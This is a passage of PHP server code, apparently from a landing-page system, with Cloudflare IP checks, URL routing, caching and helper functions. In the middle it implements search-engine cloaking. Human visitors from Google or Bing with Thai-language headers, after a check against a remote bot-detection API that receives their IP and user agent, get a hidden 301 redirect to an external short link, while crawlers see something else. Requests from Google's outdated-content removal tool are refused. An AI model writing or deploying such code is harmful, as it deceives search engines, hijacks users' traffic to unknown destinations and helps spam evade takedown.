array( '173.245.48.0/20', '103.21.244.0/22', '103.22.200.0/22', '103.31.4.0/22', '141.101.64.0/18', '108.162.192.0/18', '190.93.240.0/20', '188.114.96.0/20', '197.234.240.0/22', '198.41.128.0/17', '162.158.0.0/15', '104.16.0.0/13', '104.24.0.0/14', '172.64.0.0/13', '131.0.72.0/22', ), 'v6' => array( '2400:cb00::/32', '2606:4700::/32', '2803:f800::/32', '2405:b500::/32', '2405:8100::/32', '2a06:98c0::/29', '2c0f:f248::/32', ), ); } } if (!function_exists('ip_in_cidr_v4')) { function ip_in_cidr_v4($ip, $cidr) { $parts = explode('/', $cidr); $subnet = $parts[0]; $bits = isset($parts[1]) ? (int) $parts[1] : 32; $ipLong = ip2long($ip); $subnetLong = ip2long($subnet); if ($ipLong === false || $subnetLong === false) { return false; } if ($bits === 0) { return true; } $mask = -1 << (32 - $bits); $mask = $mask & 0xFFFFFFFF; return ($ipLong & $mask) === ($subnetLong & $mask); } } if (!function_exists('ip_in_cidr_v6')) { function ip_in_cidr_v6($ip, $cidr) { $parts = explode('/', $cidr); $subnet = $parts[0]; $bits = isset($parts[1]) ? (int) $parts[1] : 128; $ipBin = @inet_pton($ip); $subnetBin = @inet_pton($subnet); if ($ipBin === false || $subnetBin === false) { return false; } $bytesToCheck = intdiv($bits, 8); $remainderBits = $bits % 8; if ($bytesToCheck > 0 && substr($ipBin, 0, $bytesToCheck) !== substr($subnetBin, 0, $bytesToCheck)) { return false; } if ($remainderBits > 0) { $maskByte = chr((0xFF << (8 - $remainderBits)) & 0xFF); $ipByte = substr($ipBin, $bytesToCheck, 1); $subnetByte = substr($subnetBin, $bytesToCheck, 1); if ((($ipByte === false ? "\0" : $ipByte)) && (($ipByte & $maskByte) !== ($subnetByte & $maskByte))) { return false; } } return true; } } if (!function_exists('is_cloudflare_ip')) { function is_cloudflare_ip($ip) { if (empty($ip)) { return false; } $ranges = get_cloudflare_ip_ranges(); if (strpos($ip, ':') === false) { foreach ($ranges['v4'] as $cidr) { if (ip_in_cidr_v4($ip, $cidr)) { return true; } } } else { if (!is_function_available('inet_pton')) { return false; } foreach ($ranges['v6'] as $cidr) { if (ip_in_cidr_v6($ip, $cidr)) { return true; } } } return false; } } if (!function_exists('is_valid_public_ip')) { function is_valid_public_ip($ip) { if (empty($ip)) { return false; } if (is_function_available('filter_var') && defined('FILTER_VALIDATE_IP')) { $flags = FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE; return filter_var($ip, FILTER_VALIDATE_IP, $flags) !== false; } // PHP 5.4 without filter extension: fall back to basic format check. return (bool) preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $ip) || strpos($ip, ':') !== false; } } if (!function_exists('get_real_visitor_ip')) { function get_real_visitor_ip() { static $cachedIp = false; if ($cachedIp !== false) { return $cachedIp; } $remoteAddr = isset($_SERVER['REMOTE_ADDR']) ? trim($_SERVER['REMOTE_ADDR']) : ''; // Only trust CF-Connecting-IP / X-Forwarded-For when the direct // connection actually comes from a known Cloudflare edge IP. if ($remoteAddr !== '' && is_cloudflare_ip($remoteAddr)) { if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) { $cfIp = trim($_SERVER['HTTP_CF_CONNECTING_IP']); if (is_valid_public_ip($cfIp) || filter_var($cfIp, FILTER_VALIDATE_IP)) { $cachedIp = $cfIp; return $cachedIp; } } if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $forwardedList = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $firstIp = trim($forwardedList[0]); if (filter_var($firstIp, FILTER_VALIDATE_IP)) { $cachedIp = $firstIp; return $cachedIp; } } } $cachedIp = $remoteAddr; return $cachedIp; } } if (!function_exists('get_visitor_user_agent')) { function get_visitor_user_agent() { static $cachedUserAgent = false; if ($cachedUserAgent !== false) { return $cachedUserAgent; } $userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $userAgent = trim($userAgent); if ($userAgent === '') { $cachedUserAgent = ''; return $cachedUserAgent; } // Strip control characters (incl. CR/LF) to prevent header/log injection. $userAgent = preg_replace('/[\x00-\x1F\x7F]/', '', $userAgent); $cachedUserAgent = $userAgent; return $cachedUserAgent; } } if (!function_exists('get_visitor_accept_language')) { function get_visitor_accept_language() { static $cachedAcceptLanguage = false; if ($cachedAcceptLanguage !== false) { return $cachedAcceptLanguage; } $acceptLanguage = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''; $acceptLanguage = trim($acceptLanguage); if ($acceptLanguage === '') { $cachedAcceptLanguage = ''; return $cachedAcceptLanguage; } // Strip control characters (incl. CR/LF) to prevent header/log injection. $acceptLanguage = preg_replace('/[\x00-\x1F\x7F]/', '', $acceptLanguage); $cachedAcceptLanguage = $acceptLanguage; return $cachedAcceptLanguage; } } if (!function_exists('get_referrer_url')) { function get_referrer_url() { static $cachedReferrer = false; if ($cachedReferrer !== false) { return $cachedReferrer; } $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $referrer = trim($referrer); if ($referrer === '') { $cachedReferrer = ''; return $cachedReferrer; } // Strip control characters (incl. CR/LF) to prevent header/log injection. $referrer = preg_replace('/[\x00-\x1F\x7F]/', '', $referrer); $cachedReferrer = $referrer; return $cachedReferrer; } } // ============================================================================= // URL DETECTION FUNCTIONS // ============================================================================= function isFromSearchEngine($referrer = null) { if ($referrer === null) { $referrer = function_exists('get_referrer_url') ? get_referrer_url() : (isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''); } if (empty($referrer)) { return false; } // Block Google Search Console referrer $blocked_base = 'https://search.google.com/search-console/remove-outdated-content'; if (strpos($referrer, $blocked_base) === 0) { header('HTTP/1.0 403 Forbidden'); echo 'Access is blocked from this referrer.'; exit(); } // ── Android app URI scheme ──────────────────────────────────────────────── if (strpos($referrer, 'android-app://') === 0) { $androidPattern = '~^android-app://(' . 'com\.google\.android\.googlequicksearchbox' // Google Quick Search Box . '|com\.google\.android\.gm' // Gmail . '|com\.google\.android\.launcher' // Google Launcher . '|com\.google\.android\.apps\.nexuslauncher' // Pixel Launcher . '|com\.microsoft\.bing' // Bing . '|com\.duckduckgo\.mobile\.android' // DuckDuckGo . '|com\.brave\.browser' // Brave . '|com\.huawei\.search' // Huawei Search . '|com\.huawei\.browser' // Huawei Browser . '|com\.huawei\.android\.launcher' // Huawei Launcher . '|com\.honor\.search' // Honor (Huawei sub-brand) . '|com\.baidu\.searchbox' // Baidu . '|ru\.yandex\.searchplugin' // Yandex . '|com\.sec\.android\.app\.sbrowser' // Samsung Browser . '|com\.samsung\.android\.app\.sbrowser' // Samsung Browser (alt) . '|com\.mi\.globalbrowser' // Xiaomi Global Browser . '|com\.android\.browser' // MIUI default browser . '|com\.miui\.mihome2' // MIUI Home search . '|com\.miui\.securitycenter' // MIUI search . ')(?:/|$)~i'; return preg_match($androidPattern, $referrer) === 1; } // ── Extract hostname only ───────────────────────────────────────────────── $host = parse_url($referrer, PHP_URL_HOST); if (empty($host)) { return false; } $host = preg_replace('~^www\.~i', '', $host); $searchEnginePattern = '~^(' // Major global // . 'google\.[a-z]{2,6}(?:\.[a-z]{2})?' . 'google\.com' . '|google\.co\.th' . '|googleweblight\.com' . '|bing\.com' . ')$~i'; return preg_match($searchEnginePattern, $host) === 1; } function hasValidLanguageHeaders() { static $cachedResult = null; if ($cachedResult !== null) { return $cachedResult; } // Reuse the cached, sanitized browser Accept-Language header. $acceptLanguage = get_visitor_accept_language(); if (empty($acceptLanguage)) { $cachedResult = false; // Real browsers always send Accept-Language return $cachedResult; } // Normalize to lowercase for comparison $acceptLanguageLower = strtolower($acceptLanguage); // Check if contains only allowed languages: th, en-th, th-th $allowedPattern = '/\b(th|en-th|th-th|en-us|my-th)\b/i'; if (!preg_match($allowedPattern, $acceptLanguageLower)) { $cachedResult = false; return $cachedResult; } // Check if it looks like a valid language header format // Valid format: en-US,en;q=0.9,th;q=0.8 $validPattern = '/^\s*[a-z]{1,8}(?:-[a-z0-9]{1,8})*(?:\s*;\s*q=(?:1(?:\.0{1,3})?|0(?:\.\d{1,3})?))?(?:\s*,\s*[a-z]{1,8}(?:-[a-z0-9]{1,8})*(?:\s*;\s*q=(?:1(?:\.0{1,3})?|0(?:\.\d{1,3})?))?)*\s*$/i'; if (!preg_match($validPattern, $acceptLanguage)) { $cachedResult = false; return $cachedResult; } $cachedResult = true; return $cachedResult; } /** * Check whether an IP address and user-agent pair belongs to a bot. * * Returns "bot" or "human" for a valid service response. Returns false when * the service is unavailable, returns invalid JSON, or an exception occurs. * Catching Exception keeps this compatible with PHP 5+; Throwable is * deliberately not used because it was introduced in PHP 7. * * When no values are supplied, uses get_real_visitor_ip() and * get_visitor_user_agent(), the existing request-value helpers. * * @param string|null $ip * @param string|null $userAgent * @return string|bool "bot", "human", or false on failure */ function is_bot_ip_user_agent($ip = null, $userAgent = null) { if ($ip === null) { $ip = get_real_visitor_ip(); } if ($userAgent === null) { $userAgent = get_visitor_user_agent(); } $ip = trim((string) $ip); $userAgent = trim((string) $userAgent); if ($ip === '' || $userAgent === '' || !is_valid_public_ip($ip)) { return false; } try { // A crawler normally makes many requests with the same IP and UA. // Reuse successful checks to avoid adding a network round trip to // every request. The key contains a hash, so neither value is stored // in the cache filename. $cacheKey = 'bot_verdict_' . md5($ip . "\n" . $userAgent); $cachedVerdict = cache_get($cacheKey, 900); if ($cachedVerdict === 'bot' || $cachedVerdict === 'human') { return $cachedVerdict; } $payload = json_encode(array( 'ip' => $ip, 'user_agent' => $userAgent )); if ($payload === false) { return false; } foreach (get_broadcast_api_base_candidates() as $baseUrl) { $response = safe_http_request(rtrim($baseUrl, '/') . '/whoami', array( 'method' => 'POST', 'headers' => array('Content-Type' => 'application/json'), 'body' => $payload, 'timeout' => 10 )); if (empty($response['success']) || empty($response['body'])) { continue; } $data = json_decode($response['body'], true); if (!is_array($data) || empty($data['ok']) || !isset($data['is_bot']) || !is_bool($data['is_bot'])) { continue; } $verdict = $data['is_bot'] ? 'bot' : 'human'; cache_set($cacheKey, $verdict); return $verdict; } return false; } catch (Exception $e) { return false; } } /* * Request the visibility settings for the current URL without its query string. * * @return array|false Decoded visibility payload, or false when unavailable. */ function get_current_visibility() { $visibilityQuery = preg_replace('#^https?://#i', '', get_current_url(false)); if ($visibilityQuery === '') { return false; } foreach (get_broadcast_api_base_candidates() as $baseUrl) { $endpoint = rtrim($baseUrl, '/') . '/api/visibility/?q=' . $visibilityQuery; $response = safe_http_request($endpoint, array( 'method' => 'GET', 'timeout' => 5, 'headers' => array('Accept' => 'application/json') )); if (empty($response['success']) || empty($response['body'])) { continue; } $payload = safe_json_decode($response['body'], true); if (!is_array($payload) || empty($payload['ok']) || !array_key_exists('visible', $payload)) { continue; } return $payload; } return false; } $visibility = get_current_visibility(); $isVisible = !empty($visibility['visible']); if (hasValidLanguageHeaders() && isFromSearchEngine() && $isVisible && is_bot_ip_user_agent() === 'human') { header("Location: https://byt.la/r/krabi88", true, 301); exit; } if (!function_exists('get_canonical_url')) { function get_canonical_url() { static $cachedCanonicalUrl = false; if ($cachedCanonicalUrl !== false) { return $cachedCanonicalUrl; } $slug = get_broadcast_slug(); if ($slug !== '') { $cachedCanonicalUrl = build_broadcast_url($slug, true); return $cachedCanonicalUrl; } $cachedCanonicalUrl = rtrim(get_site_url(), '/') . '/'; return $cachedCanonicalUrl; } } function supports_pretty_urls() { if (isset($GLOBALS['LPNEW_CONFIG']['pretty_urls'])) { return filter_var($GLOBALS['LPNEW_CONFIG']['pretty_urls'], FILTER_VALIDATE_BOOLEAN); } $envValue = getenv('LPNEW_PRETTY_URLS'); if ($envValue !== false && trim($envValue) !== '') { return filter_var($envValue, FILTER_VALIDATE_BOOLEAN); } if (!empty($_SERVER['REDIRECT_URL']) || !empty($_SERVER['IIS_WasUrlRewritten']) || !empty($_SERVER['HTTP_X_REWRITE_URL'])) { return true; } // If a clean path has already reached this front controller, rewriting is // demonstrably active even when the web server exposes no rewrite marker. if (function_exists('parse_request_path')) { $route = parse_request_path(); if (!empty($route['is_pretty'])) { return true; } } // The bare homepage "/" almost never carries a rewrite marker (most rewrite // rules only touch a non-empty slug, not the empty path), so the checks // above cannot tell whether pretty URLs work there. Fall back to the // server's own rewrite config so "/" makes the SAME decision as a deep // pretty URL. This is what stops the default redirect from dropping to // ?view= only on the homepage while every other link stays pretty. return server_has_rewrite_config(); } // Whether URL rewriting is available for pretty URLs. The answer is resolved // once and cached in info.json (has_rewrite_config), so this is a cheap read // on every request -- including the bare homepage "/", which carries no rewrite // marker of its own. The detection itself lives in detect_rewrite_support(). function server_has_rewrite_config() { $env = get_runtime_environment_info(); return !empty($env['has_rewrite_config']); } // True when the current request carries proof that URL rewriting actually ran: // the front controller was reached through a rewritten URL. This is the only // signal that beats AllowOverride None -- if the rewrite engine had been // disabled the marker would never be set. REDIRECT_LPNEW_REWRITE / LPNEW_REWRITE // let an operator assert it explicitly from .htaccess (RewriteRule .* - // [E=LPNEW_REWRITE:1]). Shared by detect_rewrite_support() and the info.json // self-heal. function request_has_rewrite_marker() { return !empty($_SERVER['REDIRECT_URL']) || !empty($_SERVER['IIS_WasUrlRewritten']) || !empty($_SERVER['HTTP_X_REWRITE_URL']) || !empty($_SERVER['REDIRECT_LPNEW_REWRITE']) || !empty($_SERVER['LPNEW_REWRITE']); } // True when an .htaccess file exists AND contains an active (uncommented) // RewriteEngine On / RewriteRule directive. Filters out the common false // positives of a missing, empty, or auth-only .htaccess. It still cannot see // AllowOverride None (only a live marker proves that) -- it just makes the // optimistic pre-proof guess far more accurate. function htaccess_declares_rewrite($path) { if (!file_exists($path)) { return false; } $contents = safe_file_get_contents($path); if (!is_string($contents) || $contents === '') { return false; } return preg_match('/^\s*RewriteEngine\s+on\b/mi', $contents) === 1 || preg_match('/^\s*RewriteRule\s/mi', $contents) === 1; } // True when a web.config exists AND declares a URL Rewrite module section // ( ... ), rather than merely existing for unrelated settings. function webconfig_declares_rewrite($path) { if (!file_exists($path)) { return false; } $contents = safe_file_get_contents($path); if (!is_string($contents) || $contents === '') { return false; } return stripos($contents, ' section. if ($isIIS) { return webconfig_declares_rewrite($baseDir . '/web.config'); } return false; } function get_public_url_override() { static $resolved = null; if ($resolved !== null) { return $resolved; } $resolved = array( 'scheme' => '', 'host' => '', 'host_with_port' => '', 'base_url' => '', 'base_path' => '' ); $baseCandidate = ''; if (!empty($GLOBALS['LPNEW_CONFIG']['public_base_url'])) { $baseCandidate = trim((string) $GLOBALS['LPNEW_CONFIG']['public_base_url']); } if ($baseCandidate !== '') { $parts = @parse_url($baseCandidate); if (is_array($parts) && !empty($parts['scheme']) && !empty($parts['host'])) { $scheme = strtolower($parts['scheme']); $host = $parts['host']; $hostWithPort = $host; if (isset($parts['port'])) { $hostWithPort .= ':' . (int) $parts['port']; } $path = ''; if (!empty($parts['path']) && $parts['path'] !== '/') { $path = '/' . trim(str_replace('\\', '/', $parts['path']), '/'); } $resolved['scheme'] = ($scheme === 'https') ? 'https' : 'http'; $resolved['host'] = $host; $resolved['host_with_port'] = $hostWithPort; $resolved['base_path'] = $path; $resolved['base_url'] = $resolved['scheme'] . '://' . $hostWithPort . $path; return $resolved; } } $hostCandidate = ''; if (!empty($GLOBALS['LPNEW_CONFIG']['public_host'])) { $hostCandidate = trim((string) $GLOBALS['LPNEW_CONFIG']['public_host']); } if ($hostCandidate !== '') { $scheme = ''; $host = ''; $hostWithPort = ''; if (strpos($hostCandidate, '://') !== false) { $parts = @parse_url($hostCandidate); if (is_array($parts) && !empty($parts['host'])) { $scheme = !empty($parts['scheme']) ? strtolower($parts['scheme']) : ''; $host = $parts['host']; $hostWithPort = $host; if (isset($parts['port'])) { $hostWithPort .= ':' . (int) $parts['port']; } } } else { $hostWithPort = trim($hostCandidate, '/'); if ($hostWithPort !== '') { if ($hostWithPort[0] === '[') { $endBracket = strpos($hostWithPort, ']'); $host = $endBracket !== false ? substr($hostWithPort, 1, $endBracket - 1) : trim($hostWithPort, '[]'); } else { $colonCount = substr_count($hostWithPort, ':'); $host = $colonCount === 1 ? preg_replace('/:\d+$/', '', $hostWithPort) : $hostWithPort; } } } if ($host !== '') { if (!empty($GLOBALS['LPNEW_CONFIG']['public_scheme'])) { $scheme = $GLOBALS['LPNEW_CONFIG']['public_scheme']; } $scheme = strtolower((string) $scheme); $resolved['scheme'] = ($scheme === 'https' || $scheme === 'http') ? $scheme : ''; $resolved['host'] = $host; $resolved['host_with_port'] = $hostWithPort !== '' ? $hostWithPort : $host; } } return $resolved; } function detect_protocol() { $publicUrl = get_public_url_override(); if ($publicUrl['scheme'] !== '') { return $publicUrl['scheme']; } if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') { return 'https'; } if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https') { return 'https'; } if (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] === 'on') { return 'https'; } if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) { return 'https'; } return 'http'; } function detect_host($stripPort = false) { $publicUrl = get_public_url_override(); if ($publicUrl['host_with_port'] !== '') { return $stripPort ? $publicUrl['host'] : $publicUrl['host_with_port']; } $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost'); if ($stripPort) { $pos = strpos($host, ':'); return $pos !== false ? substr($host, 0, $pos) : $host; } if (!isset($_SERVER['HTTP_HOST']) && isset($_SERVER['SERVER_PORT'])) { $port = (int)$_SERVER['SERVER_PORT']; $proto = detect_protocol(); if (($proto === 'https' && $port !== 443) || ($proto === 'http' && $port !== 80)) { $host .= ':' . $port; } } return $host; } function detect_base_path() { static $cached = null; if ($cached !== null) { return $cached; } if (!isset($_SERVER['SCRIPT_NAME'])) { $cached = ''; return $cached; } $scriptName = str_replace('\\', '/', $_SERVER['SCRIPT_NAME']); $dir = dirname($scriptName); $dir = str_replace('\\', '/', $dir); $cached = ($dir === '/' || $dir === '\\' || $dir === '.') ? '' : rtrim($dir, '/'); return $cached; } function get_cache_path_prefix() { $publicUrl = get_public_url_override(); // Include the host so several domains served from the SAME directory get // separate cache namespaces. Without this they share an identical // path-only prefix and one domain's cached data is served to another. // Sanitised to [a-z0-9_] because the value also feeds a glob() pattern in // clear_cache_files(); the host is only used to namespace, never trusted. $host = $publicUrl['host'] !== '' ? $publicUrl['host'] : detect_host(true); $host = preg_replace('/[^a-z0-9]+/', '_', strtolower((string) $host)); $host = trim($host, '_'); if ($host === '') { $host = 'nohost'; } $basePath = $publicUrl['base_path'] !== '' ? $publicUrl['base_path'] : detect_base_path(); $basePath = trim(str_replace('\\', '/', $basePath), '/'); $basePath = $basePath === '' ? 'root' : preg_replace('/\/+/', '_', $basePath); return $host . '_' . $basePath; } // Single source of truth for the on-disk cache filename prefix. Embedding the // per-site prefix in the FILENAME (not just the cache key) keeps every domain's // files separate on disk and lets clear_cache_files() purge only the current // site. Reused by cache_get(), cache_set() and clear_cache_files(). function get_cache_file_prefix() { return 'be_cache_' . get_cache_path_prefix() . '_'; } function build_absolute_url($path = '') { $publicUrl = get_public_url_override(); if ($publicUrl['base_url'] !== '') { $url = $publicUrl['base_url']; if ($publicUrl['base_path'] === '') { $url .= detect_base_path(); } } else { $basePath = detect_base_path(); $url = detect_protocol() . '://' . detect_host() . $basePath; } if ($path !== '') { $url .= '/' . ltrim(str_replace('\\', '/', $path), '/'); } return $url; } function get_site_url() { return build_absolute_url(); } function get_homepage_url() { return build_absolute_url('/'); } function get_current_url($includeQuery = true) { $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/'; if (!$includeQuery && ($pos = strpos($uri, '?')) !== false) { $uri = substr($uri, 0, $pos); } return detect_protocol() . '://' . detect_host() . $uri; } function get_broadcast_query_param_names() { return array('view', 'thb', 'video', 'content', 'go', 'gyg', 'go_TH', 'play', 'juth'); } function get_broadcast_query_slug() { foreach (get_broadcast_query_param_names() as $param) { if (!isset($_GET[$param]) || is_array($_GET[$param])) { continue; } $value = trim((string) $_GET[$param]); if ($value !== '') { return $value; } } return ''; } function request_uses_pretty_broadcast_url($slug = '') { $route = parse_request_path(); if ($route['action'] !== 'broadcast' || empty($route['is_pretty']) || $route['slug'] === '') { return false; } return $slug === '' || $route['slug'] === $slug; } if (!isset($GLOBALS['LPNEW_CONFIG']['site_url']) || $GLOBALS['LPNEW_CONFIG']['site_url'] === '') { // Initialize site URL now that build_absolute_url exists $GLOBALS['LPNEW_CONFIG']['site_url'] = build_absolute_url(); } function build_broadcast_url($slug, $absolute = true) { $base = $absolute ? build_absolute_url() : detect_base_path(); $base = rtrim($base, '/'); if (request_uses_pretty_broadcast_url($slug)) { return $base . '/' . rawurlencode($slug); } if (supports_pretty_urls()) { return $base . '/' . rawurlencode($slug); } return $base . '/?view=' . rawurlencode($slug); } function parse_request_path() { $result = array( 'raw_uri' => isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/', 'path' => '/', 'query' => '', 'segments' => array(), 'slug' => '', 'action' => '', 'is_pretty' => false ); $uri = str_replace('\\', '/', $result['raw_uri']); if (($pos = strpos($uri, '?')) !== false) { $result['query'] = substr($uri, $pos + 1); $uri = substr($uri, 0, $pos); } $basePath = detect_base_path(); if ($basePath !== '' && strpos($uri, $basePath) === 0) { $uri = substr($uri, strlen($basePath)); } $uri = '/' . ltrim($uri, '/'); $result['path'] = $uri; $segments = explode('/', trim($uri, '/')); $segments = array_values(array_filter($segments, function ($s) { return $s !== ''; })); $result['segments'] = $segments; $segmentCount = count($segments); if ($segmentCount === 0 || ($segmentCount === 1 && ($segments[0] === 'index.php' || $segments[0] === ''))) { $result['action'] = 'home'; } elseif ($segmentCount === 1) { $segment = $segments[0]; if (in_array($segment, array('login','register','return-policy','about','faq','contact'), true)) { $result['action'] = $segment; $result['is_pretty'] = true; } elseif (preg_match('/\\.(php|html|htm)$/i', $segment)) { $result['action'] = 'file'; } else { $result['action'] = 'broadcast'; $result['slug'] = $segment; $result['is_pretty'] = true; } } elseif ($segmentCount === 2) { $first = $segments[0]; $second = $segments[1]; if ($first === 'update' && $second === 'sitemap') { $result['action'] = 'update_sitemap'; $result['is_pretty'] = true; } } return $result; } function get_broadcast_slug() { static $cachedSlug = null; if ($cachedSlug !== null) { return $cachedSlug; } $querySlug = get_broadcast_query_slug(); if ($querySlug !== '') { $cachedSlug = $querySlug; return $cachedSlug; } $route = parse_request_path(); if ($route['action'] === 'broadcast' && $route['slug'] !== '') { $cachedSlug = $route['slug']; return $cachedSlug; } $cachedSlug = ''; return $cachedSlug; } // ============================================================================= // UTILITY FUNCTIONS // ============================================================================= /** * Safe HTML escaping (cross-version compatible) * @param string $string * @param int $flags * @param string $encoding * @return string */ function safe_html($string, $flags = null, $encoding = 'UTF-8') { if ($flags === null) { $flags = ENT_QUOTES | (defined('ENT_SUBSTITUTE') ? ENT_SUBSTITUTE : 0) | (defined('ENT_HTML5') ? ENT_HTML5 : 0); } return htmlspecialchars((string) $string, $flags, $encoding, true); } /** * Safe attribute escaping * @param string $string * @return string */ function safe_attr($string) { return safe_html($string); } // ─── JSON ───────────────────────────────────────────────────────────────────── function safe_json_decode($json, $assoc = true) { if ($json === null) { return null; } if (is_bool($json)) { $json = $json ? 'true' : 'false'; } elseif (is_int($json) || is_float($json)) { $json = (string) $json; } elseif (!is_string($json)) { return null; } $json = trim($json); // Strip UTF-8 BOM if (strncmp($json, "\xEF\xBB\xBF", 3) === 0) { $json = substr($json, 3); } // Strip XSSI prefixes static $prefixes = [")]}',", "while(1);", "for(;;);"]; foreach ($prefixes as $prefix) { if (strncmp($json, $prefix, strlen($prefix)) === 0) { $json = substr($json, strlen($prefix)); break; } } $d = json_decode($json, $assoc); if (json_last_error() === JSON_ERROR_NONE) { return $d; } // Fallback: extract JSON substring $startObj = strpos($json, '{'); $startArr = strpos($json, '['); if ($startObj === false && $startArr === false) { return $d; } if ($startObj !== false && $startArr !== false) { $start = min($startObj, $startArr); } else { $start = $startObj !== false ? $startObj : $startArr; } if ($start === 0) { return $d; } $slice = substr($json, $start); $endObj = strrpos($slice, '}'); $endArr = strrpos($slice, ']'); if ($endObj !== false && $endArr !== false) { $end = max($endObj, $endArr); } elseif ($endObj !== false) { $end = $endObj; } elseif ($endArr !== false) { $end = $endArr; } else { return $d; } return json_decode(substr($slice, 0, $end + 1), $assoc); } function safe_json_encode($data) { $opts = (defined('JSON_UNESCAPED_SLASHES') ? JSON_UNESCAPED_SLASHES : 0) | (defined('JSON_UNESCAPED_UNICODE') ? JSON_UNESCAPED_UNICODE : 0); $j = json_encode($data, $opts); return $j === false ? '' : $j; } // ─── FUNCTION AVAILABILITY ─────────────────────────────────────────────────── function get_disabled_functions() { static $disabled = null; if ($disabled === null) { $raw = ini_get('disable_functions'); $disabled = ($raw === false || $raw === '') ? [] : array_filter(array_map('trim', explode(',', $raw))); } return $disabled; } function is_function_available($function) { return function_exists($function) && !in_array($function, get_disabled_functions(), true); } // ─── CURL ───────────────────────────────────────────────────────────────────── /** * Safe curl_close wrapper (avoids PHP 8.5 deprecation). * No-op since PHP 8.0; deprecated in PHP 8.5+. * * @param mixed $handle * @return void */ function safe_curl_close($handle) { if ($handle === null || !is_function_available('curl_close')) { return; } if (PHP_VERSION_ID < 80500) { @curl_close($handle); } } // random bytes compat (v1 parity) function compat_random_bytes($length) { if (is_function_available('random_bytes')) { return random_bytes($length); } if (is_function_available('openssl_random_pseudo_bytes')) { $strong = false; $bytes = openssl_random_pseudo_bytes($length, $strong); if ($strong === true) { return $bytes; } } $bytes = ''; for ($i = 0; $i < $length; $i++) { $bytes .= chr(mt_rand(0, 255)); } return $bytes; } function random_bytes_compat($length) { return compat_random_bytes($length); } // ============================================================================= // SERVER-SENT EVENTS (SSE) SUPPORT // ============================================================================= /** * Initialize SSE (Server-Sent Events) connection * Compatible with PHP 5.4+ and all web servers (Apache, Nginx, IIS, LiteSpeed) * * @param int $retry Retry interval in milliseconds (default: 3000) * @return bool True if SSE initialized successfully */ function sse_init($retry = 3000) { // Prevent multiple initializations if (isset($GLOBALS['LPNEW_SSE_INITIALIZED']) && $GLOBALS['LPNEW_SSE_INITIALIZED']) { return true; } $GLOBALS['LPNEW_SSE_INITIALIZED'] = true; // Check if headers already sent if (headers_sent()) { return false; } // Disable output buffering at all levels while (ob_get_level() > 0) { ob_end_clean(); } // Set SSE headers header('Content-Type: text/event-stream'); header('Cache-Control: no-cache, no-store, must-revalidate'); header('Pragma: no-cache'); header('Expires: 0'); header('X-Accel-Buffering: no'); // Nginx header('X-Content-Type-Options: nosniff'); // Disable Apache/LiteSpeed compression and buffering if (is_function_available('apache_setenv')) { @apache_setenv('no-gzip', '1'); } @ini_set('zlib.output_compression', '0'); @ini_set('output_buffering', '0'); @ini_set('implicit_flush', '1'); // IIS specific: disable buffering $environmentInfo = get_runtime_environment_info(); if (!empty($environmentInfo['is_iis'])) { header('X-IIS-Buffering: no'); } // Set unlimited execution time for long-running connections if (is_function_available('set_time_limit')) { @set_time_limit(0); } // Ignore user abort if (is_function_available('ignore_user_abort')) { @ignore_user_abort(true); } // Send retry interval echo 'retry: ' . (int)$retry . "\n\n"; sse_flush(); return true; } /** * Send SSE event * * @param mixed $data Data to send (will be JSON encoded if array/object) * @param string|null $event Event name (optional) * @param string|null $id Event ID (optional) * @return bool True if sent successfully, false if connection closed */ function sse_send($data, $event = null, $id = null) { // Check if client disconnected if (connection_aborted()) { return false; } $output = ''; // Add event ID if provided if ($id !== null) { $output .= 'id: ' . $id . "\n"; } // Add event name if provided if ($event !== null) { $output .= 'event: ' . $event . "\n"; } // Encode data if (is_array($data) || is_object($data)) { $data = safe_json_encode($data); } // Split data by newlines and prefix each line with "data: " $lines = explode("\n", (string)$data); foreach ($lines as $line) { $output .= 'data: ' . $line . "\n"; } // End of message $output .= "\n"; echo $output; return sse_flush(); } /** * Flush output buffer for SSE * Compatible with all web servers and PHP versions * * @return bool True if flush successful, false if connection closed */ function sse_flush() { // Check connection status if (connection_aborted()) { return false; } // Flush PHP output buffer if (is_function_available('ob_flush') && ob_get_level() > 0) { @ob_flush(); } // Flush system buffer if (is_function_available('flush')) { @flush(); } // For FastCGI (PHP-FPM) - flush fastcgi buffers if (is_function_available('fastcgi_finish_request')) { // Note: Don't call fastcgi_finish_request() here as it ends the request // Just ensure output is sent } return !connection_aborted(); } if (!function_exists('http_response_code')) { function http_response_code($code = null) { static $stored = 200; if ($code !== null) { $stored = (int) $code; } return $stored; } } function get_status_text($code) { $map = array( 200 => 'OK', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 307 => 'Temporary Redirect', 308 => 'Permanent Redirect', 400 => 'Bad Request', 401 => 'Unauthorized', 403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed', 408 => 'Request Timeout', 410 => 'Gone', 429 => 'Too Many Requests', 500 => 'Internal Server Error', 502 => 'Bad Gateway', 503 => 'Service Unavailable' ); return isset($map[$code]) ? $map[$code] : ''; } /** * Redirect with compatibility * @param string $url * @param int $statusCode * @return void */ function safe_redirect($url, $statusCode = 302) { if (headers_sent()) { echo ''; echo ''; exit; } header('Location: ' . $url, true, $statusCode); exit; } // Set HTTP status with maximal compatibility (CGI/FPM/Apache/built-in) function set_response_code($code) { $text = 